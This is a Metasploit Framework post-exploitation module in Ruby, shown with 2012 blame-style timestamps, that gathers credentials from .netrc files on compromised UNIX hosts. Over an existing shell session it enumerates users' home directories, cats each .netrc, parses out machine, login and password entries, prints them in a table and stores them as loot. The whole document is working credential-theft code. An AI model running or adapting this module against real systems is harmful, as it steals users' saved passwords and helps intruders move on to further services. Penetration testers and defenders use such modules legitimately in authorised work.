2012-02-01 06:49:45 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/framework/
|
|
|
|
##
|
|
|
|
|
2012-01-29 22:03:57 +00:00
|
|
|
require 'msf/core'
|
|
|
|
require 'msf/core/post/common'
|
|
|
|
require 'msf/core/post/file'
|
|
|
|
require 'msf/core/post/unix/enum_user_dirs'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
|
|
|
|
include Msf::Post::Common
|
|
|
|
include Msf::Post::File
|
|
|
|
include Msf::Post::Unix
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super( update_info( info,
|
|
|
|
'Name' => 'UNIX Gather credentials saved in .netrc files',
|
2012-02-01 06:48:14 +00:00
|
|
|
'Description' => %q{
|
|
|
|
Post Module to obtain credentials saved for FTP and other services in .netrc
|
|
|
|
},
|
2012-01-29 22:03:57 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2012-01-30 16:05:08 +00:00
|
|
|
'Author' => [ 'Jon Hart <jhart[at]spoofed.org>' ],
|
2012-01-29 22:03:57 +00:00
|
|
|
'Platform' => [ 'bsd', 'linux', 'osx', 'unix' ],
|
|
|
|
'SessionTypes' => [ 'shell' ]
|
|
|
|
))
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
2012-01-31 07:08:02 +00:00
|
|
|
# A table to store the found credentials.
|
|
|
|
cred_table = Rex::Ui::Text::Table.new(
|
|
|
|
'Header' => ".netrc credentials",
|
|
|
|
'Indent' => 1,
|
|
|
|
'Columns' =>
|
|
|
|
[
|
|
|
|
"Username",
|
|
|
|
"Password",
|
|
|
|
"Server",
|
|
|
|
])
|
|
|
|
|
|
|
|
# all of the credentials we've found from .netrc
|
2012-01-29 22:03:57 +00:00
|
|
|
creds = []
|
2012-01-31 07:08:02 +00:00
|
|
|
|
2012-01-29 22:03:57 +00:00
|
|
|
# walk through each user directory
|
|
|
|
enum_user_directories.each do |user_dir|
|
|
|
|
netrc_file = user_dir + "/.netrc"
|
2012-01-31 07:08:02 +00:00
|
|
|
# the current credential from .netrc we are parsing
|
|
|
|
cred = {}
|
|
|
|
begin
|
2012-02-01 06:48:14 +00:00
|
|
|
print_status("Reading: #{netrc_file}")
|
2012-01-31 07:08:02 +00:00
|
|
|
# read their .netrc
|
|
|
|
cmd_exec("test -r #{netrc_file} && cat #{netrc_file}").each_line do |netrc_line|
|
|
|
|
# parse it
|
|
|
|
netrc_line.strip!
|
|
|
|
# get the machine name
|
|
|
|
if (netrc_line =~ /machine (\S+)/)
|
|
|
|
# if we've already found a machine, save this cred and start over
|
|
|
|
if (cred[:host])
|
|
|
|
creds << cred
|
|
|
|
cred = {}
|
|
|
|
end
|
|
|
|
cred[:host] = $1
|
|
|
|
end
|
|
|
|
# get the user name
|
|
|
|
if (netrc_line =~ /login (\S+)/)
|
|
|
|
cred[:user] = $1
|
|
|
|
end
|
|
|
|
# get the password
|
|
|
|
if (netrc_line =~ /password (\S+)/)
|
|
|
|
cred[:pass] = $1
|
2012-01-29 22:03:57 +00:00
|
|
|
end
|
|
|
|
end
|
2012-02-01 06:48:14 +00:00
|
|
|
|
|
|
|
# save whatever remains of this last cred if it is worth saving
|
|
|
|
creds << cred if (cred[:host] and cred[:user] and cred[:pass])
|
|
|
|
|
2012-01-31 07:08:02 +00:00
|
|
|
rescue ::Exception => e
|
|
|
|
print_error("Couldn't read #{netrc_file}: #{e.to_s}")
|
2012-01-29 22:03:57 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2012-01-31 07:08:02 +00:00
|
|
|
# print out everything we've found
|
2012-01-29 22:03:57 +00:00
|
|
|
creds.each do |cred|
|
2012-01-31 07:08:02 +00:00
|
|
|
cred_table << [ cred[:user], cred[:pass], cred[:host] ]
|
2012-01-29 22:03:57 +00:00
|
|
|
end
|
|
|
|
|
2012-02-01 06:48:14 +00:00
|
|
|
if cred_table.rows.empty?
|
|
|
|
print_status("No creds collected")
|
|
|
|
else
|
|
|
|
print_line("\n" + cred_table.to_s)
|
|
|
|
|
|
|
|
# store all found credentials
|
|
|
|
p = store_loot(
|
|
|
|
"netrc.creds",
|
|
|
|
"text/csv",
|
|
|
|
session,
|
|
|
|
cred_table.to_csv,
|
|
|
|
"netrc_credentials.txt",
|
|
|
|
".netrc credentials")
|
|
|
|
|
|
|
|
print_status("Credentials stored in: #{p.to_s}")
|
|
|
|
end
|
2012-01-29 22:03:57 +00:00
|
|
|
end
|
2012-01-31 07:08:02 +00:00
|
|
|
|
2012-01-29 22:03:57 +00:00
|
|
|
end
|